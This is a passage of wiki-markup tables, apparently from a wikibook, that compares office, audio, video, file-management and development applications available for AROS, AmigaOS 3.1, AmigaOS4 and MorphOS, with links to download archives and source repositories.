|&lt;!--Amiga OS--&gt;Precision Superbase 4 Pro*, Arnor Prodata*, [https://sourceforge.net/projects/beebase/ BeeBase], Datastore, FinalData*, AmigaBase, Fiasco, Twist2*, [Digita DGBase], [], 
|&lt;!--AmigaOS4--&gt;BeeBase, SQLite, 
|&lt;!--MorphOS--&gt;[http://morphos.lukysoft.cz/en/vypis.php?kat=6 BeeBase], 
|-
|&lt;!--Sub Menu--&gt;PDF Viewing and editing digital signatures 
|&lt;!--AROS--&gt;[http://sourceforge.net/projects/arospdf/ ArosPDF via splash], [https://github.com/wattoc/AROS-vpdf vpdf wip], 
|&lt;!--Amiga OS--&gt;APDF 
|&lt;!--AmigaOS4--&gt;AmiPDF 
|&lt;!--MorphOS--&gt;APDF, vPDF, 
|-
|&lt;!--Sub Menu--&gt;Note Taking markdown support like Obsidian like, joplin, OneNote, EverNotes, xournalpp, etc 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Study and analyse, collect, organize, annotate, cite, and share
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;PIM Personal Information Manager - Day Diary Planner Calendar App 
|&lt;!--AROS--&gt;[ ], [ ], [ ], 
|&lt;!--Amiga OS--&gt;Digita Organiser*, On The Ball, Everyday Organiser, [ Contact Manager], 
|&lt;!--AmigaOS4--&gt;AOrganiser, 
|&lt;!--MorphOS--&gt;[http://polymere.free.fr/orga_en.html PolyOrga], 
|-
|&lt;!--Sub Menu--&gt;Accounting
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=office/misc ETB], LoanCalc, [ ], [ ], [ ], 
|[ Digita Home Accounts2], Accountant, Small Business Accounts, Account Master, [ Amigabok], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Project Management Research 
|&lt;!--AROS--&gt; 
|&lt;!--Amiga OS--&gt;SuperGantt, SuperPlan, 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Desktop 
|&lt;!--AROS--&gt;Wanderer, Scalos, Workbook, DOpus5, 
|&lt;!--Amiga OS--&gt; 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;[https://github.com/zapek/Ambient Ambient Src]
|-
|&lt;!--Sub Menu--&gt;System Wide Search 
|&lt;!--AROS--&gt;[https://archives.arosworld.org/index.php?function=browse&amp;cat=utility/filetool Finder], [], [], 
|&lt;!--Amiga OS--&gt; 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;System Wide Dictionary - multilingual [http://sourceforge.net/projects/babiloo/ Babiloo], [http://code.google.com/p/stardict-3/ StarDict], 
|&lt;!--AROS--&gt;[ ],  
|&lt;!--AmigaOS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;System wide Thesaurus - multi lingual
|&lt;!--AROS--&gt;[ ], 
|Kuma K-Roget*, 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Sticky Desktop Notes (post it type) 
|&lt;!--AROS--&gt;[http://aminet.net/package/util/wb/amimemos.i386-aros AmiMemos], [https://aminet.net/package/util/wb/amimemos.src-aros AmiMemos Src], [], 
|&lt;!--Amiga OS--&gt;[http://aminet.net/package/util/wb/StickIt-2.00 StickIt v2], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;DTP Desktop Publishing 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/edit RNOPublisher], 
|&lt;!--Amiga OS--&gt;[http://pagestream.org/ Pagestream]*, Professional Pro Page*, Saxon Publisher, Pagesetter, PenPal, 
|&lt;!--AmigaOS4--&gt;[http://pagestream.org/ Pagestream]* 
|&lt;!--MorphOS--&gt;[http://pagestream.org/ Pagestream]* 
|-
|&lt;!--Sub Menu--&gt;Printing 
|&lt;!--AROS--&gt;Postscript 3 laser printers, [https://github.com/bohunamiga/MintPRINT MintPRINT AirPrint IPP], [ Ghostscript], [], 
|&lt;!--Amiga OS--&gt;[https://github.com/boingball/MintPRINT MintPRINT IPP], [https://github.com/Andiweli/AmiAirprint AmiAirprint], [http://www.irseesoft.de/tp_what.htm TurboPrint]*, [ GutenPrint], [https://aminet.net/package/comm/tcp/NetPrinter NetPrinter LPR], [], [], 
|&lt;!--AmigaOS4--&gt;(some native drivers), 
|&lt;!--MorphOS--&gt;early TurboPrint included, [https://aminet.net/package/comm/tcp/NetPrinter NetPrinter LPR], 
|-
|&lt;!--Sub Menu--&gt;Scanning 
|&lt;!--AROS--&gt;[ SCANdal], [], 
|&lt;!--Amiga OS--&gt;FxScan*, ScanQuix*, [https://github.com/boingball/MintSCAN MintSCAN], 
|&lt;!--AmigaOS4--&gt;SCANdal (Sane)
|&lt;!--MorphOS--&gt;SCANdal
|-
|&lt;!--Sub Menu--&gt;OCR
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/convert gOCR] 
|&lt;!--AmigaOS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;[http://morphos-files.net/categories/office/text Tesseract] 
|-
|&lt;!--Sub Menu--&gt;Text Editing
|&lt;!--AROS--&gt;Jano Editor (already installed as Editor), [http://archives.arosworld.org/index.php?function=browse&amp;cat=development/edit EdiSyn], [http://archives.arosworld.org/index.php?function=browse&amp;cat=utility/text/edit Annotate], [https://archives.arosworld.org/index.php?function=browse&amp;cat=development/edit Vim], [http://archives.arosworld.org/index.php?function=browse&amp;cat=utility/text/edit FrexxEd] [https://github.com/vidarh/FrexxEd src], [ NoWinEd], 
|&lt;!--Amiga OS--&gt;[https://aminet.net/package/text/edit/TurboText20 TurboText20 ttx], Annotate, MicroGoldED/CubicIDE*, CygnusED*, Protext*, NoWinED, 
|&lt;!--AmigaOS4--&gt;Notepad, Annotate, CygnusED*, NoWinED, 
|&lt;!--MorphOS--&gt;MorphOS ED, NoWinED, GoldED/CubicIDE*, CygnusED*, Annotate, 
|-
|&lt;!--Sub Menu--&gt;Office Fonts [http://sourceforge.net/projects/fontforge/files/fontforge-source/ Font Designer] 
|&lt;!--AROS--&gt;[ ], [ ], 
|&lt;!--Amiga OS--&gt;TypeSmith*, SaxonScript (GetFont Adobe Type 1), 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Drawing Vector
|&lt;!--AROS--&gt;[http://sourceforge.net/projects/amifig/ ZuneFIG previously AmiFIG], [https://github.com/serk118/designworks-aros designworks aros 64bit]
|&lt;!--Amiga OS--&gt;Drawstudio*, ProVector*, ArtExpression*, Professional Draw*, AmiFIG, MetaView, [https://gitlab.com/amigasourcecodepreservation/designworks Design Works Src], [], 
|&lt;!--AmigaOS4--&gt;MindSpace, [http://www.os4depot.net/index.php?function=browse&amp;cat=graphics/edit amifig], 
|&lt;!--MorphOS--&gt;SteamDraw, [http://aminet.net/package/gfx/edit/amifig amiFIG], 
|-
|&lt;!--Sub Menu--&gt;video conferencing (jitsi) 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;source code hosting
|&lt;!--AROS--&gt;Gitlab, 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Remote Desktop (server)
|&lt;!--AROS--&gt;[http://sourceforge.net/projects/zunetools/files/VNC_Server ArosVNCServer], 
|&lt;!--Amiga OS--&gt;[http://s.guillard.free.fr/AmiVNC/AmiVNC.htm AmiVNC], [http://dspach.free.fr/amiga/avnc/index.html AVNC]
|&lt;!--AmigaOS4--&gt;[http://s.guillard.free.fr/AmiVNC/AmiVNC.htm AmiVNC] 
|MorphVNC, vncserver
|-
|&lt;!--Sub Menu--&gt;Remote Desktop (client) login and connect to another machine 
|&lt;!--AROS--&gt;[https://sourceforge.net/projects/zunetools/files/VNC_Client/ ArosVNC], [http://archives.arosworld.org/index.php?function=browse&amp;cat=network/misc rdesktop], 
|&lt;!--Amiga OS--&gt;[http://twinvnc.free.fr/index.php?menu=01&amp;lang=eng TwinVNC], [http://dspach.free.fr/amiga/vva/index.html VVA], [http://www.hd-zone.com/ RDesktop]
|&lt;!--AmigaOS4--&gt;[http://twinvnc.free.fr/index.php?menu=01&amp;lang=eng TwinVNC], [http://www.hd-zone.com/ RDesktop]
|[http://twinvnc.free.fr/index.php?menu=01&amp;lang=eng TwinVNC], [http://www.hd-zone.com/ RDesktop]
|-
|&lt;!--Sub Menu--&gt;notifications 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;Ranchero 
|&lt;!--AmigaOS4--&gt;Ringhio 
|&lt;!--MorphOS--&gt;MagicBeacon 
|-
|&lt;!--Sub Menu--&gt;Biometric facial logins and fingerprint security features 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt; 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|}

&lt;nowiki&gt;*&lt;/nowiki&gt; Commercial product.

[[#top|...to the top]]

==Audio==
{|  class=&quot;wikitable sortable&quot; 
|- 
!width:30%;|Audio
!width:10%;|AROS(x86)
!width:10%;|Commodore-Amiga OS 3.1(68k)
!width:10%;|Hyperion OS4(PPC)
!width:10%;|MorphOS(PPC)
|-
|&lt;!--Sub Menu--&gt;Playing playback Audio like MP3, [https://github.com/chrg127/gmplayer NSF], [https://github.com/kode54/lazyusf miniusf .usflib] [https://gitlab.com/kode54/psflib with pfslib], [], [], etc 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=video/play Mplayer], [ HarmonyPlayer hp], [http://www.a500.org/downloads/audio/index.xhtml playcdda] CDs, [ WildMidi Player], [https://bszili.morphos.me/ UADE mod player], [], [ RNOTunes], [ mp3Player], [], 
|&lt;!--Amiga OS--&gt;AmiNetRadio, AmigaAmp, playOGG, [https://codeberg.org/tygre/amimodradio amimodradio]
|&lt;!--AmigaOS4--&gt;TuneNet, SimplePlay, AmigaAmp, TKPlayer
|AmiNetRadio, Mplayer, Kaya, AmigaAmp
|-
|&lt;!--Sub Menu--&gt;Editing Audio 
|&lt;!--AROS--&gt;[ Audio Evolution 4] 
|&lt;!--Amiga OS--&gt;[https://sourceforge.net/projects/hd-rec/ HD-Rec Src], [http://www.sonicpulse.de/eng/news.html SoundFX], [ Samplitude], 
|&lt;!--AmigaOS4--&gt;[https://sourceforge.net/projects/hd-rec/ HD-Rec], AmiSoundED, [http://os4depot.net/?function=showfile&amp;file=audio/record/audioevolution4.lha Audio Evolution 4] 
|[http://www.hd-rec.de/HD-Rec/index.php?site=home HD-Rec], 
|-
|&lt;!--Sub Menu--&gt;Editing Tracker Music
|&lt;!--AROS--&gt;[https://github.com/hitchhikr/protrekkr Protrekkr], [ Schism Tracker], [http://archives.arosworld.org/index.php?function=browse&amp;cat=audio/tracker MilkyTracker], [http://www.hivelytracker.com/ HivelyTracker], [ Radium in AROS already],  [http://www.a500.org/downloads/development/index.xhtml libMikMod], 
|&lt;!--Amiga OS--&gt;MilkyTracker, HivelyTracker, DigiBooster, Octamed SoundStudio, [https://github.com/elindstrom/soundtracker soundtracker], 
|&lt;!--AmigaOS4--&gt;MilkyTracker, HivelyTracker, GoatTracker
|MilkyTracker, GoatTracker, DigiBooster, 
|-
|&lt;!--Sub Menu--&gt;Editing Music [], [https://github.com/kmatheussen/camd CAMD] and/or staves and musical notes on manuscript 
|&lt;!--AROS--&gt;[http://bnp.hansfaust.de/ Bars and Pipes], [], [], 
|&lt;!--Amiga OS--&gt;[http://bnp.hansfaust.de/ Bars'n'Pipes], MusicX* David &quot;Talin&quot; Joiner &amp; Craig Weeks (for Notator-X), Deluxe Music Construction Set DMCS2*, [https://github.com/timoinutilis/midi-sequencer-amigaos Horny c Src] [https://github.com/kas1e/midi-sequencer-amigaos/tree/master/HornyGCC HornyGCC OS4 src] [https://github.com/capehill/midi-sequencer-amigaos Horny OS4 fork src] [https://www.amigans.net/modules/newbb/viewtopic.php?start=0&amp;topic_id=8143&amp;order=ASC&amp;status=&amp;mode=0 OS4 thread], HD-Rec, [https://aminet.net/package/mus/midi/dominatorV1_51 Dominator], [https://github.com/royaltm/Amiga-midiIn Amiga-midiIn], [ Aegis Sonix 2.0]
|&lt;!--AmigaOS4--&gt;[https://sourceforge.net/p/hd-rec/code/HEAD/tree/ HD-Rec Src], Rockbeat, [http://bnp.hansfaust.de/download.html Bars'n'Pipes], [https://github.com/gooofy/freeaction Horny OS4 src fork], Audio Evolution 4, 
|&lt;!--MorphOS--&gt;Bars'n'Pipes, 
|-
|&lt;!--Sub Menu--&gt;Sound Sampling 
|&lt;!--AROS--&gt;[ Advanced AHI Recorder all], [https://archives.arosworld.org/index.php?function=browse&amp;cat=audio/record Audio Evolution 4], [http://www.imica.net/SitePortalPage.aspx?siteid=1&amp;did=162 Quick Record], [https://archives.arosworld.org/index.php?function=browse&amp;cat=audio/misc SOX to get AIFF 16bit files], [https://github.com/aros-development-team/AROS/tree/master/workbench/tools/AHIRecord AHIRecord], 
|&lt;!--Amiga OS--&gt;[https://aminet.net/package/mus/edit/AudioEvolution3_src Audio Evolution 3 c src], [ Samplitude]*, Audiomaster IV*, 
|&lt;!--AmigaOS4--&gt;[https://github.com/timoinutilis/phonolith-amigaos phonolith c src], HD-Rec, Audio Evolution 4,
|&lt;!--MorphOS--&gt;[https://sourceforge.net/p/hd-rec/code/HEAD/tree/ HD-Rec Src], Audio Evolution 4,
|-
|&lt;!--Sub Menu--&gt;Audio Processing like easyeffects so having limiter, compressor, convolver, equalizer and auto volume and many other plugins 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Live Looping or Audio Misc - Groovebox like
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;CD/DVD burn
|&lt;!--AROS--&gt;[https://archives.arosworld.org/index.php?function=browse&amp;cat=utility IsoTools], [https://code.google.com/p/amiga-fryingpan/ FryingPan], 
|&lt;!--Amiga OS--&gt;FryingPan, [ MakeCD], 
|&lt;!--AmigaOS4--&gt;FryingPan, AmiDVD, 
|&lt;!--MorphOS--&gt;[http://www.amiga.org/forums/printthread.php?t=58736 FryingPan], Jalopeano, 
|-
|&lt;!--Sub Menu--&gt;CD/DVD audio rip
|&lt;!--AROS--&gt;Lame, [http://www.imica.net/SitePortalPage.aspx?siteid=1&amp;cfid=0&amp;did=167 Quick CDrip],
|&lt;!--Amiga OS--&gt;Lame,  
|&lt;!--AmigaOS4--&gt;Lame, 
|&lt;!--MorphOS--&gt;Lame,  
|-
|&lt;!--Sub Menu--&gt;MP3 v1 and v2 Tagger
|&lt;!--AROS--&gt;id3ren (v1), [http://archives.arosworld.org/index.php?function=browse&amp;cat=audio/edit mp3info], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|
|-
|&lt;!--Sub Menu--&gt;Audio Convert
|&lt;!--AROS--&gt;[https://archives.arosworld.org/index.php?function=browse&amp;cat=audio/misc Sox], [], 
|&lt;!--Amiga OS--&gt;[http://aminet.net/package/mus/misc/SoundBox SoundBox], [http://aminet.net/package/mus/misc/SoundBoxKey SoundBox Key], [http://aminet.net/package/mus/edit/SampleE SampleE], sox 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;DJ mixing jamming 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;[https://github.com/djh0ffman/PT1210 Hoffman PT1210 DJ tracker], [], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Radio Automation Software [http://www.rivendellaudio.org/ Rivendell], [http://code.campware.org/projects/livesupport/report/3 Campware LiveSupport], [http://www.sourcefabric.org/en/airtime/ SourceFabric AirTime], [http://www.ohloh.net/p/mediabox404 MediaBox404], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Speakers Audio Sonos Mains AC networked wired controlled 
*2005 ZP100 with ZP80 
*2008 Zoneplayer ZP120 (multi-room wireless amp)  ZP90 receiver only with CR100 controller, 
*2009 ZonePlayer S5, 
*2010 BR100 wireless Bridge (no support),   
*2011 Play:3
*2013 Bridge (no support), Play:1,  
*2016 Arc,   Play:1,   
*Beam (Gen 2),   Playbar,  Ray,   Era 100,   Era 300,   Roam,   Move 2,   
*Sub (Gen 3),   Sub Mini,  Five,  Amp  S2 
|&lt;!--AROS--&gt;SonosController 
|&lt;!--Amiga OS--&gt;SonosController
|&lt;!--AmigaOS4--&gt;SonosController
|&lt;!--MorphOS--&gt;SonosController
|-
|&lt;!--Sub Menu--&gt;Smart Speakers 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt; 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|}

&lt;nowiki&gt;*&lt;/nowiki&gt; Commercial product.

[[#top|...to the top]]

==Video Creativity and Production==
{|  class=&quot;wikitable sortable&quot; 
|- 
!width:30%;|Video
!width:10%;|AROS(x86)
!width:10%;|Commodore-Amiga OS 3.1(68k)
!width:10%;|Hyperion OS4(PPC)
!width:10%;|MorphOS(PPC)
|-
|&lt;!--Sub Menu--&gt;Playing Video 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=video/play Mplayer], [ VAMP], [http://www.a500.org/downloads/video/index.xhtml CDXL player], [http://www.a500.org/downloads/video/index.xhtml IffAnimPlay], [], 
|&lt;!--Amiga OS--&gt;Frogger*, AMP2, MPlayer, RiVA*, MooViD*, 
|&lt;!--AmigaOS4--&gt;DvPlayer, MPlayer 
|&lt;!--MorphOS--&gt;MPlayer, Frogger, AMP2, VLC 
|-
|&lt;!--Sub Menu--&gt;Streaming Video and game streaming like OBS studio, Parsec, [https://github.com/lizardbyte/sunshine sunshine], [https://github.com/moonlight-stream/moonlight-qt moonlight], etc 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Playing DVD 
|&lt;!--AROS--&gt;[http://a-mc.biz/ AMC]*, Mplayer 
|&lt;!--Amiga OS--&gt;AMP2, Frogger 
|&lt;!--AmigaOS4--&gt;[http://a-mc.biz/ AMC]*, DvPlayer*, AMP2,  
|&lt;!--MorphOS--&gt;Mplayer 
|-
|&lt;!--Sub Menu--&gt;Screen Recording
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=video/record Screenrecorder], [ ], [ ], [ ], [ ], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;Screenrecorder, 
|-
|&lt;!--Sub Menu--&gt;Create Edit Individual Video - Amiga like OSs have no pro NLE 
|&lt;!--AROS--&gt;[ Mencoder], [ Quick Videos], [http://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/edit AVIbuild], [http://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/misc FrameBuild], FFMPEG, 
|&lt;!--Amiga OS--&gt;[ MainConcept Mainactor Broadcast*], [http://en.wikipedia.org/wiki/Video_Toaster Video Toaster*] with [https://discreetfx.com/openvideotoaster.html some c src], MacroSystem MovieShop 4.3*, proDAD Adorage*, [ IOSpirit VHI studio]*, [Gold Disk ShowMaker], [], 
|&lt;!--AmigaOS4--&gt;FFMpeg/GUI 
|&lt;!--MorphOS--&gt;Blender, Mencoder, FFmpeg
|-
|&lt;!--Sub Menu--&gt;Subtitle editor 
|&lt;!--AROS--&gt;[https://aminet.net/package/text/edit/Slarti_Arosx86ABIv0 Slarti_Arosx86ABIv0], [], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;IP-based video production workflows with High Dynamic Range (HDR), 10-bit color collaborative NDI, 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Blogging like Lemmy or kbin
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;VR face recognition for Vtubers 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;VR chatting Live2D models with Cubism type editor or [https://github.com/AyagamiDev/ayagami ayagami] like with zipped moc3 with model metadata (model3, cdi3) 
&lt;pre&gt;
Model data (cmo3)
Basic motions (can3)
Background image (png)
Set of files for embedding (runtime folder)
• Model data (moc3)
• Motion data (motion3.json)
• Model settings file (model3.json)
• Physics settings file (physics3.json)
• Display auxiliary file (cdi3.json)
&lt;/pre&gt;
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;VR chatting chatters .VRML models - standardized 3D file format for VR avatars 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;V-tubers V-tubing like Vseeface with Openseeface tracker or Vpuppr (virtual puppet project) for online live 2d / 3d art models rigging rigged LIV 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt; 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|}

&lt;nowiki&gt;*&lt;/nowiki&gt; Commercial product.

[[#top|...to the top]]


==Misc Application==
{|  class=&quot;wikitable sortable&quot; 
|- 
!width:30%;|Misc Application
!width:10%;|AROS(x86)
!width:10%;|Commodore-Amiga OS 3.1 (68k)
!width:10%;|Hyperion OS4(PPC)
!width:10%;|MorphOS(PPC)
|-
|&lt;!--Sub Menu--&gt;File Management 
|&lt;!--AROS--&gt;DOpus4, [https://github.com/BlitterStudio/dopus5 DOpus Magellan aka DOpus 5], [ Scalos], [ ], 
|&lt;!--Amiga OS--&gt;DOpus2, DOpus 4, [https://github.com/BlitterStudio/dopus5 Dopus5 Magellan], ClassAction, FileMaster, [http://www.amiga.org/forums/showthread.php?t=4897 DirWork 2]*, [https://github.com/RudolphRiedel/DiskMaster2 DiskMaster2 src], 
|&lt;!--AmigaOS4--&gt;DOpus4, [https://github.com/BlitterStudio/dopus5 Dopus5 Magellan], Filer, AmiDisk 
|&lt;!--MorphOS--&gt;DOpus4, [https://github.com/BlitterStudio/dopus5 Dopus5 Magellan], 
|-
|&lt;!--Sub Menu--&gt;File Verification / Repair 
|&lt;!--AROS--&gt;[https://arosarchives.os4depot.net/index.php?function=browse&amp;cat=utility md5sum], [https://arosarchives.os4depot.net/index.php?function=browse&amp;cat=utility/filetool asum], [http://archives.arosworld.org/index.php?function=browse&amp;cat=utility/filetool workpar2] (PAR2),  [http://zakalwe.fi/~shd/foss/cksfv/files/ compile cksfv from website], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;Par2, 
|-
|Application Installer 
|&lt;!--AROS--&gt;[], [ InstallerNG], 
|&lt;!--Amiga OS--&gt;InstallerNG, Grunch, 
|&lt;!--AmigaOS4--&gt;Jack
|&lt;!--MorphOS--&gt;Jack 
|-
|&lt;!--Sub Menu--&gt;Compression archiver [https://github.com/FS-make-simple/paq9a paq9a], [], 
|&lt;!--AROS--&gt;XAD system is a toolkit designed for handling various file and disk archiver
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;[https://aminet.net/package/util/pack/decrunchmania_os4 Crunchmania CrM2 depacker], 
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Binary Hexadecimal Editor 
|&lt;!--AROS--&gt;[https://archives.arosworld.org/index.php?function=browse&amp;cat=development/edit Zaphod], [],
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Filesystem Partition Editor formatter Disk Management
|&lt;!--AROS--&gt;[https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=1440&amp;highlight=partition&amp;pid=8821#post_8821 QuickPart], [ HDToolBox]
|&lt;!--Amiga OS--&gt;[https://github.com/stefanskotte/hdpart hdpart], [https://github.com/ChuckyGang/AmiPart AmiPart], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Filesystem Repair and backups 
|&lt;!--AROS--&gt;ArSFSDoctor, 
|&lt;!--Amiga OS--&gt;[https://aminet.net/package/disk/bakup/quarterback_src Quarterback Tools C and asm src], [ ], [ ], [ ], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;System Disk check, integrity and history [https://github.com/smartmontools/smartmontools smart tools], [], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;[], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Multiple File renaming
|&lt;!--AROS--&gt;DOpus 4 or 5, 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Anti Virus
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;VChecker, 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Random Wallpaper Desktop changer [ DOpus5], [ Scalos],  
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Alarm Clock, Timer, Stopwatch, Countdown 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=utility/workbench DClock], [http://aminet.net/util/time/AlarmClockAROS.lha AlarmClock], [], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|}


==Misc Application 2==
{|  class=&quot;wikitable sortable&quot; 
|- 
!width:30%;|Misc Application
!width:10%;|AROS(x86)
!width:10%;|Commodore-Amiga OS 3.1(68k)
!width:10%;|Hyperion OS4(PPC)
!width:10%;|MorphOS(PPC)
|-
|&lt;!--Sub Menu--&gt;C/C++ IDE Integrated Development 
|&lt;!--AROS--&gt;[https://sourceforge.net/projects/aidea/ AIDEa], [ Murks], [],  
|&lt;!--Amiga OS--&gt;[http://devplex.awardspace.biz/cubic/index.html Cubic IDE]*, [ StormC], [https://github.com/jens-maus/amide amide], [], 
|&lt;!--AmigaOS4--&gt;CodeBench , [https://gitlab.com/boemann/codecraft CodeCraft], 
|&lt;!--MorphOS--&gt;[http://devplex.awardspace.biz/cubic/index.html Cubic IDE]*, 
|-
|&lt;!--Sub Menu--&gt;C/C++ Text Editors 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=utility/text/edit FrexxEd], [https://github.com/vidarh/FrexxEd FrexxEd src], [http://archives.arosworld.org/index.php?function=browse&amp;cat=utility/text/edit Annotate] with [https://www.onyxsoft.se/files/annotate_src.lha src], 
|&lt;!--Amiga OS--&gt;[ Protext], [ CED], [], 
|&lt;!--AmigaOS4--&gt;
